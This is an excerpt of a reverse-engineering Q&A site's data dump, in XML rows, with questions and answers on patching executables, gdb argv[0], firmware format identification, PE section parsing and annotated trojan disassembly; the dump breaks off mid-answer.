  <row Id="6790" PostTypeId="1" AcceptedAnswerId="6791" CreationDate="2014-12-08T12:14:51.510" Score="-2" ViewCount="1425" Body="&lt;p&gt;My target exe file has a button. It will display a webpage when the button is clicked on. I used OllyDBG to disassemble this file. My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I find the url of this webpage? I have searched text strings, but found nothing.&lt;/li&gt;&#xA;&lt;li&gt;I want to create a new button with the same function as this previous button. How can I make this work?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8268" LastEditorUserId="1328" LastEditDate="2014-12-17T10:57:49.960" LastActivityDate="2015-09-03T14:14:01.070" Title="How to add new button to an executable?" Tags="|ollydbg|patch-reversing|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6791" PostTypeId="2" ParentId="6790" CreationDate="2014-12-08T12:55:57.180" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It may be generated dynamically, loaded from a file, be there, but obfuscated or encrypted, in the original .exe, or something else. The easiest way to get the url is probably using &lt;a href=&quot;http://www.telerik.com/fiddler&quot; rel=&quot;nofollow&quot;&gt;Fiddler&lt;/a&gt;, as you're on windows. Listening to network communication with &lt;a href=&quot;https://www.wireshark.org/&quot; rel=&quot;nofollow&quot;&gt;wireshark&lt;/a&gt; or a similar program might work as well, but if the application uses TLS, encryption will get in the way, which fiddler can usually work around.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is where it becomes complicated. Adding a new button to a dialog box might work with a &lt;a href=&quot;http://www.resedit.net/&quot; rel=&quot;nofollow&quot;&gt;resource editor&lt;/a&gt;, if the application uses standard windows gui elements. If the application uses a different GUI framework, you're out of luck. Once you have the button, you need to change the button handler of the dialog box to recognize your new button id and react accordingly. This includes writing a new routine, finding a bunch of unused bytes in the code segment of your .exe to place it in, or enlarging the code segment or creating a new segment for your code, patching the original button handler to call your routine if the new button ID is detected, and hoping you don't break anything in the process. Considerable experience is required for this to work, so if you're a beginner with RE, you probably have to learn a lot before attempting this.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-12-08T12:55:57.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6792" PostTypeId="1" AcceptedAnswerId="6793" CreationDate="2014-12-08T14:16:21.153" Score="1" ViewCount="1373" Body="&lt;p&gt;I have a binary &lt;code&gt;test&lt;/code&gt; that I want to debug with gdb. As you can see &lt;code&gt;pwd&lt;/code&gt; is &lt;code&gt;/tmp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb&#xA;(gdb) file test&#xA;Reading symbols from /tmp/test...(no debugging symbols found)...done.&#xA;(gdb) pwd&#xA;Working directory /tmp&#xA;(gdb) run&#xA;Starting program: /tmp/test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ pwd&#xA;/tmp&#xA;$ gdb test&#xA;Reading symbols from /tmp/test...(no debugging symbols found)...done.&#xA;The target architecture is assumed to be i386&#xA;(gdb) run&#xA;Starting program: /tmp/test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that gdb executes the file with the absolut path &lt;code&gt;/tmp/test&lt;/code&gt; instead of the realtiv path &lt;code&gt;test&lt;/code&gt;. Which means &lt;code&gt;argv[0]=&quot;/tmp/test&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make gdb execute the file with the relativ path (&lt;code&gt;argv[0]=&quot;test&quot;&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2014-12-08T14:48:59.290" LastActivityDate="2014-12-08T15:06:22.427" Title="How to debug a binary with the relative path in argv[0]?" Tags="|linux|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6793" PostTypeId="2" ParentId="6792" CreationDate="2014-12-08T15:06:22.427" Score="3" Body="&lt;p&gt;Figured it out myself with a cool trick I didn't know before - &lt;code&gt;set exec-wrapper&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat wrapper.sh&#xA;#!/bin/bash&#xA;p=&quot;test&quot;&#xA;exec -a &quot;$p&quot; &quot;$@&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in gdb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set exec-wrapper ./wrapper.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can set the &lt;code&gt;argv[0]&lt;/code&gt; to whatever you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;https://sourceware.org/ml/gdb/2013-05/msg00049.html&quot; rel=&quot;nofollow&quot;&gt;https://sourceware.org/ml/gdb/2013-05/msg00049.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2014-12-08T15:06:22.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6795" PostTypeId="1" CreationDate="2014-12-09T18:40:38.007" Score="5" ViewCount="11031" Body="&lt;p&gt;I have firmware for a system and I'm trying to decrypt some of it just for the sake of seeing what it all does; nothing illegal or anything like that, such as reproducing copies of it decrypted and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it can seem tough for several reasons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.May have no specific format or way to distinguish it from other binary files;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.May not know how it is encrypted;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.May not be &quot;normally&quot; encrypted and may be specially so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, the file has some unencrypted code, but I'm not 100% sure what kind of opcode bytes it could represent since it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is firmware for an all-ARM-powered device, but I'm not publicly saying it's name. Should that mean that the firmware for it will be some variant of ARM ISA/opcodes (because it's machine code for the ARM processor)? If so, where should I begin decrypting and should I continue to determine, if possible for me, what version of ARM, ISA (instruction-set=architecture), etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware has a magic number right at the beginning of the file (which just says the company's name), but afterwards it has unencrypted bytes, then more magic numbers, then encrypted bytes, then more magic numbers, then more unencrypted bytes, etc., etc. You can tell the encrypted parts apart because each byte has a completely inane ASCII character that no other part of the file has, and they're in followed segments. This says clearly that these are irregular, encrypted ranges of bytes.&lt;/p&gt;&#xA;" OwnerUserId="10220" LastEditorUserId="10220" LastEditDate="2014-12-09T19:11:49.417" LastActivityDate="2018-05-18T09:48:20.207" Title="Decrypting firmware: Is there a true &quot;format&quot; to it, and how does it differ from decryping other files?" Tags="|binary-analysis|firmware|decryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6797" PostTypeId="1" CreationDate="2014-12-10T00:33:56.590" Score="1" ViewCount="445" Body="&lt;p&gt;I have extracted the .rdata section from a windows executable. I would like to parse the variables contained in the section into a easily understandable format, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char s[] = &quot;hello world&quot;&#xA;int i = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There does not appear, however, to be data types associated with the variables, so simply encoding the variable data in hexadecimal might be more realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the data stored in the .rdata section in an easily parsable format? If so, what would that be?&lt;/p&gt;&#xA;" OwnerDisplayName="user4446" LastActivityDate="2014-12-12T11:07:26.683" Title="parse PE section variables" Tags="|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6799" PostTypeId="2" ParentId="6797" CreationDate="2014-12-10T00:59:30.637" Score="3" Body="&lt;p&gt;No, the data is not easily parsable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best option is to use a disassembler (such as &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt;) that can create cross-references from code to data in your &lt;code&gt;.rdata&lt;/code&gt; section. This can help you better identify strings, bytes, words, and dwords in the &lt;code&gt;.rdata&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMWrO.png&quot; alt=&quot;https://samsclass.info/123/proj10/honeynet/honeynet-rev.html&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-10T00:59:30.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6800" PostTypeId="2" ParentId="6795" CreationDate="2014-12-10T08:01:34.913" Score="5" Body="&lt;p&gt;&lt;strong&gt;Wow to identify firmware format&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;In old days the Intel HEX and bin Flash memory dump was used&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the firmware was usually copied to device by HW programer for specific &lt;strong&gt;IC&lt;/strong&gt; or by &lt;strong&gt;ISP&lt;/strong&gt;. &lt;strong&gt;HEX&lt;/strong&gt; is very specific &lt;a href=&quot;http://cs.wikipedia.org/wiki/Intel_HEX&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel_HEX (*.hex)&lt;/a&gt; text file easy to identify. Ont he other hand &lt;strong&gt;BIN&lt;/strong&gt; dumps are hard to identify. If you can see any tokens inside or can disassemble it and the code makes sense then it is probably a binary memory dump. If it is encrypted you are out of luck.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;elf or obj format&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these are newer object formats similar to &lt;strong&gt;PE&lt;/strong&gt;. &lt;strong&gt;ELF&lt;/strong&gt; in hex view looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7f 45 4c 46 01 02 01 00 | 00 00 00 00 00 00 00 00 | .ELF...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OBJ&lt;/strong&gt; is very dependent on target platform and if it is from Intel,MS or for Linux,...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;file system dump&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some devices have own programing interface implemented and use firmware as &lt;strong&gt;disc image&lt;/strong&gt; so the file is dump of some &lt;strong&gt;FileSystem&lt;/strong&gt; in which is the firmware written as some &lt;strong&gt;file(s)&lt;/strong&gt;. You have to identify the &lt;strong&gt;FileFormat&lt;/strong&gt; type (usually by boot sector first &lt;code&gt;512&lt;/code&gt; Bytes). Then extract the files inside and start over again from scratch. Sometimes helps if you take an &lt;strong&gt;USB&lt;/strong&gt; key and write the file system dump to it 1:1 and then try to access it from OS that supports various fileformats. You can also use some HDD utility like PQ-magic or whatever capable of identify FS types.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;decryption&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need disassembler for used &lt;strong&gt;IC&lt;/strong&gt; or even better simulator/emulator some device &lt;strong&gt;SDK&lt;/strong&gt;'s contains also the simulation so try to load the firmware to its memory and try to run it to test if it does something meaningful. For disassembly you need to analyze the code to see that too ...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Notes]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you should post at least file extension and hex view of the start of the file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[edit 1] response to commend + some additional info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;starts the text exactly from start or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it still can be:&#xA; - bin memory dump&#xA; - anything packed/encoded (even specific file system)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Identify packed/encoded structures&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to find chunks inside like the &lt;strong&gt;RIFF&lt;/strong&gt; (*.avi) format. Beware there could be no &lt;strong&gt;ID&lt;/strong&gt; string present. You are basically looking for hex encoded length or offset in file that would add up to file size or next chunk structure that have the length at specific chunk offset or in separated table. Do not forget it can be booth &lt;strong&gt;LSB or MSB&lt;/strong&gt; first do not assume anything. Length/offsets are usually encoded &lt;code&gt;16/32/64&lt;/code&gt; bit (&lt;code&gt;2/4/8&lt;/code&gt; BYTE) Also try to find repeating patterns (if some kind of header of chunk is present)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Identify file system&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some &lt;strong&gt;FS&lt;/strong&gt; have specific &lt;strong&gt;ID&lt;/strong&gt; at some offset so look for that (like &lt;code&gt;FAT32&lt;/code&gt;,...). Most &lt;strong&gt;FS&lt;/strong&gt; use &lt;strong&gt;FAT+DIR&lt;/strong&gt; tables so look for something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iobw6.png&quot; alt=&quot;MDOS DIR example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how &lt;strong&gt;DIR&lt;/strong&gt; table looks like in &lt;strong&gt;MDOS&lt;/strong&gt; file system. It is a structure holding all files/directories of the disc. Each file should have encoded name,type(extension),start sector,length.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;E5 hex = 229 dec&lt;/code&gt; usually marks free directory space (in many FS systems)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;so if you know any filename that should be present in the target system you could look for it to locate &lt;strong&gt;DIR&lt;/strong&gt; table ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A9bv9.png&quot; alt=&quot;MDOS FAT example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how &lt;strong&gt;FAT&lt;/strong&gt; table looks like in &lt;strong&gt;MDOS&lt;/strong&gt;. The &lt;strong&gt;FAT&lt;/strong&gt; holds information about each sector/cluster of the disc. In this case it is 12 bit so each value is 1.5 Byte long !!! Some values mark sectors as system/reserved (non usable),bad,free or if any other value present then it is an index of next sector that is connected to this like in linked list. While decoding take in mind that endianess could be both little or big&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;To identify bin memory dump&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case the file is memory dump of your arm &lt;strong&gt;OS&lt;/strong&gt;. That mean you should look for specific parts of program like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;interrupt table&lt;/li&gt;&#xA;&lt;li&gt;specific program tokens (what it prints out... )&lt;/li&gt;&#xA;&lt;li&gt;graphics&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last two are pretty straightforward so I will add info only for the interrupts. Interrupts on most processors have fixed location in memory so for each interrupt there is few bytes reserved. In this place is usually some jump instruction present that jump should lead to interrupt handler routine which should end with specific end of interrupt instructions like: &lt;code&gt;reti&lt;/code&gt;,&lt;code&gt;retn&lt;/code&gt; or by setting/reseting specific register to mark interrupt was handled ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So look for tightly packed jump instructions inside bin and if found check if their count and distance match the &lt;strong&gt;CPU&lt;/strong&gt; datasheet. Also you can check if somewhere near the jump address is return from interrupt present. If yes then you have all you need. Offset of the interrupt table is usually fixed ... so you should easily find out where from the bin dump starts in the target device memory map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware your bin can have offset encoding like the Intel hex files&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2016-08-09T07:31:07.727" LastActivityDate="2016-08-09T07:31:07.727" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6801" PostTypeId="1" CreationDate="2014-12-11T10:30:12.773" Score="0" ViewCount="8290" Body="&lt;p&gt;I often see Lenas &quot;&lt;a href=&quot;https://tuts4you.com/download/category/17//?order=name&amp;amp;sort=DESC&amp;amp;view=30&amp;amp;from=30&amp;amp;error=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;reversing for newbies&lt;/a&gt;&quot; talked about as a very solid introduction to reverse engineering. It uses OllyDbg as the primary program. (I'd be more interested personally in using IDA, however). Is that so? I'm very interested in getting more intense into my learning of reverse engineering, and I don't want to go too deeply if it won't provide me with a solid base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the general consensus on these tutorials, or is there something better out there?&lt;/p&gt;&#xA;" OwnerUserId="1981" LastEditorUserId="10008" LastEditDate="2018-12-02T20:42:06.243" LastActivityDate="2018-12-02T20:42:06.243" Title="General consensus on Lena's tutorials?" Tags="|ollydbg|" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-12T09:09:57.390" ContentLicense="CC BY-SA 4.0" />
  <row Id="6802" PostTypeId="2" ParentId="3495" CreationDate="2014-12-11T12:03:14.860" Score="2" Body="&lt;p&gt;I use my Binary Editor for this kind of task&#xA;&lt;a href=&quot;http://www.nyangau.org/be/be.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.nyangau.org/be/be.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10234" LastActivityDate="2014-12-11T12:03:14.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6803" PostTypeId="2" ParentId="6629" CreationDate="2014-12-11T15:40:40.333" Score="5" Body="&lt;p&gt;The short answer is no, you can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The medium answer is : it wouldn't be easy. The general case is undecidable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your program has not been compiled to be position-independant, there are probably some references to constant memory addresses. Especially as soon as you make a call to a function defined in an external library, the PLT/GOT mechanism uses known addresses. But if you can disassemble and analyze the program, you may fix them. But deciding whether an 32 bits word will be used as an address or as an integer is undecidable. It may work in simple programs, but don't expect to make it work on obfuscated programs without a lot of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm not aware of a tool doing that.&lt;/p&gt;&#xA;" OwnerUserId="10203" LastActivityDate="2014-12-11T15:40:40.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6804" PostTypeId="2" ParentId="6801" CreationDate="2014-12-11T22:24:00.723" Score="3" Body="&lt;p&gt;The link is: &lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow&quot;&gt;https://tuts4you.com/download.php?list.17&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will learn how to crack software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start the best is to buy the book called &quot;Practical Reverse engineering&quot; link: &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1502489309&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1502489309&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If something is not clear for you in this book, then you must learn each topic like asm x86, asm x64 etc...&lt;/p&gt;&#xA;" OwnerUserId="10238" LastActivityDate="2014-12-11T22:24:00.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6806" PostTypeId="1" CreationDate="2014-12-12T04:52:28.320" Score="0" ViewCount="243" Body="&lt;p&gt;I'm having some difficulties disassembling an arcompact program with IDAPro. The program has a large number of code banks/overlays and a rather overused manager that can branch to any function in any code bank. This is further complicated by use of relative addresses for all normal branches and absolute addresses for all managed branches. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried putting each code bank in its own segment as recommended, but can't get IDAPro to put two segments at the same address when the processor is set to arcompact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past when I've encountered this I've either put the code banks at random addresses and created manual references to the banks or written a script to adjust all addresses used. Neither of these seem to me a good option given the manager and addressing scheme. Anyone have any ideas for a work around or am I just missing something in IDA?&lt;/p&gt;&#xA;" OwnerUserId="10242" LastActivityDate="2014-12-13T22:50:35.260" Title="IDAPro arcompact difficulties" Tags="|ida|disassembly|sparc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6808" PostTypeId="2" ParentId="6790" CreationDate="2014-12-12T11:00:51.223" Score="0" Body="&lt;p&gt;To find the url which the application connects to search for window socket functions wsaconnect, or set a return breakpoint which will break in when a function return after you click the button and see the stack for functions executed and values pushed, for modifying try to include a resource dialog and find a code cave to write code for executing your app dialog.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastActivityDate="2014-12-12T11:00:51.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6809" PostTypeId="2" ParentId="6797" CreationDate="2014-12-12T11:07:26.683" Score="0" Body="&lt;p&gt;After compiling to a release build with many compilers no debug or symbolic information about the function name or variable names is left in the native binaries, so the data section u have dumped only contains the variable values at different positions, manually its not easy to find variables, so use a debugger or disassembler which will ease the work for you, it will let you see different variables categorized and identified according to their alignment and size.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastActivityDate="2014-12-12T11:07:26.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6810" PostTypeId="2" ParentId="6773" CreationDate="2014-12-12T11:12:26.753" Score="0" Body="&lt;p&gt;As you mentioned, UPX was used and it can be unpacked by UPX itself &lt;a href=&quot;http://m0rphiz3.tk/?p=12&quot; rel=&quot;nofollow&quot;&gt;see this example&lt;/a&gt;.&#xA;To address scrolling to find the entry point, its because you are in a different module loaded by the binary. You're probably getting into ntdll.dll module disassembly.&lt;/p&gt;&#xA;" OwnerUserId="10244" LastEditorUserId="8176" LastEditDate="2014-12-12T22:04:13.397" LastActivityDate="2014-12-12T22:04:13.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6812" PostTypeId="1" CreationDate="2014-12-12T20:23:23.040" Score="1" ViewCount="508" Body="&lt;p&gt;For some reason whether I open a program or attach to it, sometimes Olly 2 will behave really weird. It will either freeze and hang forever when I do things like placing a breakpoint, or more commonly, I will be able to see the screen render. When Olly jumps to a code area out of reach of the screen, I will be able to see how the screen is drawn over 0.5 second or so, from the top and downwards. If I put on single step animation, Olly will stay around 1 second on each line before moving onto the next, as if something is lagging terribly. Even clicking on another line takes a considerable amount of time before the line gets selected.  I restart the program over and over in Olly and suddenly it just works. Any ideas what might be the problem? I have tried to delete the .udd files and sometimes it works, other times it won't. Needless to say this is extremely annoying and doing simple things like placing a breakpoint keeps me waiting, so it makes it impossible to do real-time debugging. This has not been a problem with Immunity and Olly 1 as much, but I want to use Olly 2.&lt;/p&gt;&#xA;" OwnerUserId="8659" LastActivityDate="2014-12-12T20:23:23.040" Title="Olly hangs and lags" Tags="|ollydbg|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6813" PostTypeId="1" AcceptedAnswerId="6814" CreationDate="2014-12-13T02:11:52.660" Score="1" ViewCount="1586" Body="&lt;p&gt;I study an analysis paper about a trojan and there are the following assembly lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004010D0 Get_PE_section_address proc near        &#xA;.text:004010D0&#xA;.text:004010D0 arg_0           = dword ptr  4&#xA;.text:004010D0&#xA;.text:004010D0                 mov     ecx, [esp+arg_0]&#xA;.text:004010D4                 mov     eax, [ecx+3Ch]&#xA;.text:004010D7                 movzx   edx, word ptr [eax+ecx+14h]&#xA;.text:004010DC                 add     eax, ecx&#xA;.text:004010DE                 movzx   ecx, word ptr [eax+6]&#xA;.text:004010E2                 push    ebx&#xA;.text:004010E3                 add     edx, eax&#xA;.text:004010E5                 push    esi&#xA;.text:004010E6                 lea     esi, [ecx+ecx*4]&#xA;.text:004010E9                 lea     eax, [edx+esi*8-38h]&#xA;.text:004010ED                 xor     edx, edx&#xA;.text:004010EF                 test    ecx, ecx&#xA;.text:004010F1                 jbe     short loc_401102&#xA;.text:004010F3&#xA;&#xA;.text:004010F3 loc_4010F3:                            &#xA;.text:004010F3                 mov     bl, [eax+5]&#xA;.text:004010F6                 test    bl, bl&#xA;.text:004010F8                 jz      short loc_401104&#xA;.text:004010FA                 inc     edx&#xA;.text:004010FB                 sub     eax, 28h&#xA;.text:004010FE                 cmp     edx, ecx&#xA;.text:00401100                 jb      short loc_4010F3&#xA;.text:00401102&#xA;&#xA;.text:00401102 loc_401102:                             &#xA;.text:00401102                 xor     eax, eax&#xA;.text:00401104&#xA;&#xA;.text:00401104 loc_401104:                             &#xA;.text:00401104                 pop     esi&#xA;.text:00401105                 pop     ebx&#xA;.text:00401106                 retn&#xA;&#xA;.text:00401106 Get_PE_section_address endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the owner of the paper renamed the function as Get_PE_section_address.&#xA;I spent a lot of time to understand why he/she calls in that way because I could not understand why this piece of code retrieves the the PE section address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question would be if there is anyone who can tell me which lines tells us that this is something about PE section address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I tried to work with the offsets but with a low success rate. The only thing I can say is that ebx = pointer to the malicious executable and arg_0 = 0&#xA;After searching a while PE file format papers, i have found out that the second line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   mov     eax, [ecx+3Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives me the file address of the exe header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards, &lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditDate="2014-12-13T02:36:22.733" LastActivityDate="2014-12-14T21:59:22.177" Title="Get the PE section address" Tags="|assembly|pe|section|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6814" PostTypeId="2" ParentId="6813" CreationDate="2014-12-13T04:34:40.913" Score="4" Body="&lt;p&gt;Calling this function &lt;code&gt;Get_PE_section_address&lt;/code&gt; is rather misleading since it doesn't generically get &quot;the address of a PE section&quot;, but rather is used to get the virtual address of the Section Table entry for the first section with a &lt;code&gt;0x00&lt;/code&gt; as the 5th byte of its section name, iterating through sections backwards starting from the second-to-last section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if the section names were:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sec1&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;sec2&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;sec3&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;sec4&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;0&lt;/code&gt; is a null-byte, then this function would return the virtual address for the Section Table entry for sec3&lt;code&gt;0&lt;/code&gt;, since it's the first section that meets the null-byte requirement when iterating backwards through the sections, starting with the second-to-last section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've commented the disassembly for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004010D0 Get_PE_section_address proc near        &#xA;.text:004010D0&#xA;.text:004010D0 arg_0           = dword ptr  4&#xA;.text:004010D0&#xA;.text:004010D0                 mov     ecx, [esp+arg_0]             ; ecx = arg_0 = beginning of PE file mapped into memory&#xA;.text:004010D4                 mov     eax, [ecx+3Ch]               ; eax = ((IMAGE_DOS_HEADER*)ecx)-&amp;gt;e_lfanew&#xA;.text:004010D7                 movzx   edx, word ptr [eax+ecx+14h]  ; edx = ((IMAGE_NT_HEADERS*)(eax+ecx))-&amp;gt;FileHeader.SizeOfOptionalHeader&#xA;.text:004010DC                 add     eax, ecx                     ; eax = (IMAGE_NT_HEADERS*)(eax+ecx)&#xA;.text:004010DE                 movzx   ecx, word ptr [eax+6]        ; ecx = ((IMAGE_NT_HEADERS*)eax)-&amp;gt;FileHeader.NumberOfSections&#xA;.text:004010E2                 push    ebx                          ; save ebx on stack&#xA;.text:004010E3                 add     edx, eax                     ; edx = (pointer to PE header) + SizeOfOptionalHeader&#xA;.text:004010E5                 push    esi                          ; save esi on stack&#xA;.text:004010E6                 lea     esi, [ecx+ecx*4]             ; esi = NumberOfSections * 5&#xA;.text:004010E9                 lea     eax, [edx+esi*8-38h]         ; eax = (pointer to PE header) + SizeOfOptionalHeader + NumberOfSections * 0x28 - 0x38 =&#xA;                                                                    ;       &amp;amp;(((IMAGE_SECTION_HEADERS*)(edx + 0x18))[NumberOfSections - 2])&#xA;.text:004010ED                 xor     edx, edx                     ; edx = section counter = 0&#xA;.text:004010EF                 test    ecx, ecx                     ; if NumberOfSections &amp;lt;= 0&#xA;.text:004010F1                 jbe     short loc_401102             ; then goto 